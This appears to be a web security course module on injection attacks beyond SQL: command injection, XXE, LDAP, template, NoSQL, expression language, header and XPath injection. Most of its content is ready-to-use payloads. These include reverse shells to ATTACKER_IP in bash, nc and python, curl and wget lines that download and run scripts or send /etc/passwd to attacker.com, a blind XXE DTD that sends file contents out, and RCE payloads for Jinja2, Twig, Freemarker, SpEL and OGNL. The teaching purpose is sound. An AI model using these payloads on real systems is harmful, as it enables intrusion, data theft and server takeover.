Opening Framing: The Injection Family
SQL injection is the most famous injection attack, but it's just one member of a large family. Anywhere user input is interpreted as code—operating system commands, LDAP queries, XML parsers, template engines—injection vulnerabilities can exist.
The principle is always the same: untrusted input crosses a trust boundary and is processed as instructions rather than data. The impact varies—from information disclosure to complete server compromise.
This week covers command injection, XML attacks, LDAP injection, template injection, and other injection types you'll encounter in modern web applications.
Key insight: If user input reaches an interpreter without proper handling, injection is possible.
1) OS Command Injection
Executing system commands through web applications:
Command Injection Concept:
Vulnerable code:
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
Normal input: 8.8.8.8
Command: ping -c 4 8.8.8.8
Malicious input: 8.8.8.8; whoami
Command: ping -c 4 8.8.8.8; whoami
# Executes both commands!
Impact: Full server compromise
Command Separators:
# Unix/Linux separators:
; Sequential execution
| Pipe output to next command
|| Execute if previous fails
& Background execution
&& Execute if previous succeeds
`cmd` Command substitution
$(cmd) Command substitution
\n Newline (URL: %0a)
# Windows separators:
& Sequential execution
| Pipe
&& Execute if previous succeeds
|| Execute if previous fails
# Examples:
; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)
%0awhoami
Detection Techniques:
# Time-based detection:
; sleep 10
| sleep 10
& ping -c 10 127.0.0.1 &
; ping -n 10 127.0.0.1 (Windows)
# Response delayed? Command executed!
# Output-based detection:
; whoami
; id
; cat /etc/passwd
# If command output appears in response
# Blind detection (out-of-band):
; curl http://attacker.com/$(whoami)
; nslookup attacker.com
; wget http://attacker.com/?data=$(cat /etc/passwd | base64)
# Check attacker server for requests
Exploitation:
# Read files:
; cat /etc/passwd
; type C:\Windows\win.ini
# Reverse shell:
; bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
; nc -e /bin/bash ATTACKER_IP 4444
; python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
# Download and execute:
; curl http://attacker.com/shell.sh | bash
; wget http://attacker.com/shell.sh -O /tmp/shell.sh; chmod +x /tmp/shell.sh; /tmp/shell.sh
# Data exfiltration:
; curl http://attacker.com/$(cat /etc/passwd | base64 -w 0)
Bypass Techniques:
# If spaces are filtered:
${IFS} # Internal Field Separator
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat$IFS/etc/passwd
cat
Key insight: Command injection = game over. It provides direct server access with the web application's privileges.
2) XML External Entity (XXE) Injection
Exploiting XML parsers:
XXE Concept:
XML allows defining external entities
Parser fetches external resources
Attacker controls the resource definition
Normal XML:
<user>
<name>John</name>
</user>
XXE payload:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
</user>
# Parser replaces &xxe; with /etc/passwd contents!
XXE Attack Types:
# File disclosure:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
# SSRF (Server-Side Request Forgery):
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<root>&xxe;</root>
# PHP filter for base64 encoding:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>
# Port scanning:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal:22">
]>
# Different error = port open/closed
Blind XXE:
# When output isn't displayed
# Out-of-band exfiltration via DTD:
# Step 1: Host malicious DTD on attacker server
# evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?data=%file;'>">
%eval;
# Step 2: XXE payload references external DTD
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<root>&exfil;</root>
# Step 3: Check attacker server for data
# Error-based XXE:
# Force errors that include file contents
XXE in Different Contexts:
# SVG files (XML-based):
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg>&xxe;</svg>
# DOCX/XLSX files (contain XML):
# Unzip, modify XML files, rezip
# Upload modified document
# SOAP requests:
<soapenv:Envelope>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Body>
<data>&xxe;</data>
</soapenv:Body>
</soapenv:Envelope>
# Content-Type manipulation:
# Change Content-Type: application/json
# To Content-Type: application/xml
# Send XML payload
Key insight: XXE can read local files, scan networks, and make requests from the server. Disable external entities!
3) LDAP Injection
Attacking directory services:
LDAP Injection Concept:
LDAP queries retrieve directory information
(users, groups, permissions)
Vulnerable query:
(&(uid=USER_INPUT)(password=PASS_INPUT))
Normal: uid=john, pass=secret123
Query: (&(uid=john)(password=secret123))
Malicious: uid=*, pass=anything
Query: (&(uid=*)(password=anything))
# Returns all users where password check may be bypassed!
LDAP Filter Syntax:
LDAP Operators:
= Equal
>= Greater than or equal
<= Less than or equal
~= Approximately equal
& AND
| OR
! NOT
* Wildcard
Filter structure:
(attribute=value)
(&(attr1=val1)(attr2=val2)) # AND
(|(attr1=val1)(attr2=val2)) # OR
(!(attr=value)) # NOT
LDAP Injection Payloads:
# Authentication bypass:
Username: *
Password: *
# Query: (&(uid=*)(password=*))
Username: admin)(&)
Password: anything
# Query: (&(uid=admin)(&))(password=anything))
# Injects always-true condition
Username: admin)(|(password=*
Password: anything)
# Query: (&(uid=admin)(|(password=*)(password=anything)))
# Information disclosure:
Username: *)(uid=*))(|(uid=*
# Dump all users
# Blind LDAP injection:
Username: admin)(password=a*
# True/false based on wildcard match
# Enumerate password character by character
Testing for LDAP Injection:
# Detection:
# Submit special characters:
*
)
(
)(
*)(
))
# Look for:
- Error messages mentioning LDAP
- Different responses
- Login bypass
# If login succeeds with * as username:
# LDAP injection present
# Enumeration:
# Test wildcards in different positions
admin*
*admin
a*
*a*
Key insight: LDAP injection is less common than SQLi but can provide authentication bypass and data disclosure.
4) Server-Side Template Injection (SSTI)
Injecting into template engines:
SSTI Concept:
Template engines render dynamic content:
Hello, {{username}}!
If user controls template syntax:
Hello, {{7*7}}!
Output: Hello, 49!
Template executed user input as code!
Impact: Information disclosure to RCE
Detecting SSTI:
# Universal detection payloads:
{{7*7}}
${7*7}
<%= 7*7 %>
#{7*7}
*{7*7}
${{7*7}}
# If output is 49, SSTI confirmed!
# Identify template engine:
Jinja2 (Python):
{{7*'7'}} → 7777777
Twig (PHP):
{{7*'7'}} → 49
Smarty (PHP):
{php}echo 7*7;{/php}
Freemarker (Java):
${7*7}
Velocity (Java):
#set($x=7*7)$x
Mako (Python):
${7*7}
ERB (Ruby):
<%= 7*7 %>
Exploitation by Engine:
# Jinja2 (Python/Flask):
# Read config:
{{config}}
{{config.items()}}
# RCE:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
# Simpler with Jinja2:
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Twig (PHP):
# RCE:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker (Java):
# Read files:
${new java.io.BufferedReader(new java.io.FileReader("/etc/passwd")).readLine()}
# RCE:
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }
# ERB (Ruby):
# RCE:
<%= system('id') %>
<%= `id` %>
Automated SSTI Detection:
# tplmap - automated SSTI tool
python tplmap.py -u "http://target.com/page?name=test"
# Options:
--os-shell # Get shell
--os-cmd="id" # Execute command
--upload # Upload file
# SSTImap
python sstimap.py -u "http://target.com/page?name=test"
# Burp extension: J2EEScan
# Checks for multiple template engines
Key insight: SSTI is powerful because template engines often have full language access—leading directly to RCE.
5) Other Injection Types
Additional injection attacks you'll encounter:
NoSQL Injection:
# MongoDB injection:
# Vulnerable query:
db.users.find({username: USER_INPUT, password: PASS_INPUT})
# Operator injection:
username=admin&password[$ne]=wrongpass
# Query: {username: "admin", password: {$ne: "wrongpass"}}
# Returns admin if password isn't "wrongpass"
# JSON injection:
{"username": "admin", "password": {"$gt": ""}}
# Password greater than empty string = always true
# Common MongoDB operators:
$ne - Not equal
$gt - Greater than
$lt - Less than
$regex - Regular expression
$where - JavaScript execution
# $where injection (RCE potential):
{"$where": "this.username == 'admin' && sleep(5000)"}
Expression Language Injection:
# Java Expression Language (EL):
# Detection:
${7*7}
#{7*7}
# RCE (depends on context):
${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("id")}
# Spring Expression Language (SpEL):
${T(java.lang.Runtime).getRuntime().exec('id')}
# OGNL (Struts):
%{(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec("id"))}
Header Injection:
# HTTP Header Injection:
# If user input goes into response headers:
Location: USER_INPUT
# Inject newlines to add headers:
http://evil.com%0d%0aSet-Cookie:session=attacker
# Results in:
Location: http://evil.com
Set-Cookie: session=attacker
# CRLF = %0d%0a (carriage return, line feed)
# Uses:
- Session fixation
- Cache poisoning
- XSS via response splitting
XPath Injection:
# XPath queries XML data
# Vulnerable query:
//users/user[username='USER' and password='PASS']
# Injection:
username: ' or '1'='1
password: ' or '1'='1
# Query becomes:
//users/user[username='' or '1'='1' and password='' or '1'='1']
# Returns all users!
# Detection:
' or '1'='1
' or ''='
" or "1"="1
'] | //user/*['
1 or 1=1
Email Header Injection:
# If user input goes into email headers:
# Vulnerable:
To: user@example.com
Subject: Contact Form: USER_INPUT
# Inject additional recipients:
Subject: Hi%0ABcc:attacker@evil.com
# Results in:
Subject: Hi
Bcc: attacker@evil.com
# Can send spam through the application
Key insight: Injection exists wherever interpreters process user input. Think beyond SQL and commands.
Real-World Context: Injection Attacks Today
Injection vulnerabilities in modern applications:
Command Injection Prevalence: Often found in network appliances, IoT devices, and legacy applications that shell out to system commands. PDF generators, image processors, and backup utilities are common targets.
XXE Renaissance: XXE saw renewed attention as researchers discovered it in file upload features, API endpoints accepting XML, and document processing services. Many applications parse XML without disabling external entities.
SSTI in Frameworks: Modern frameworks use template engines extensively. User-controlled templates— email templates, report generators, custom page builders— create SSTI opportunities.
MITRE ATT&CK Mapping:
- T1059 - Command and Scripting Interpreter: Command injection
- T1190 - Exploit Public-Facing Application: All injection types
- T1505.003 - Web Shell: Post-injection persistence
Key insight: Each injection type has its niche. Command injection targets system interfaces; XXE targets XML processing; SSTI targets dynamic content generation.
Guided Lab: Injection Practice
Practice various injection attacks.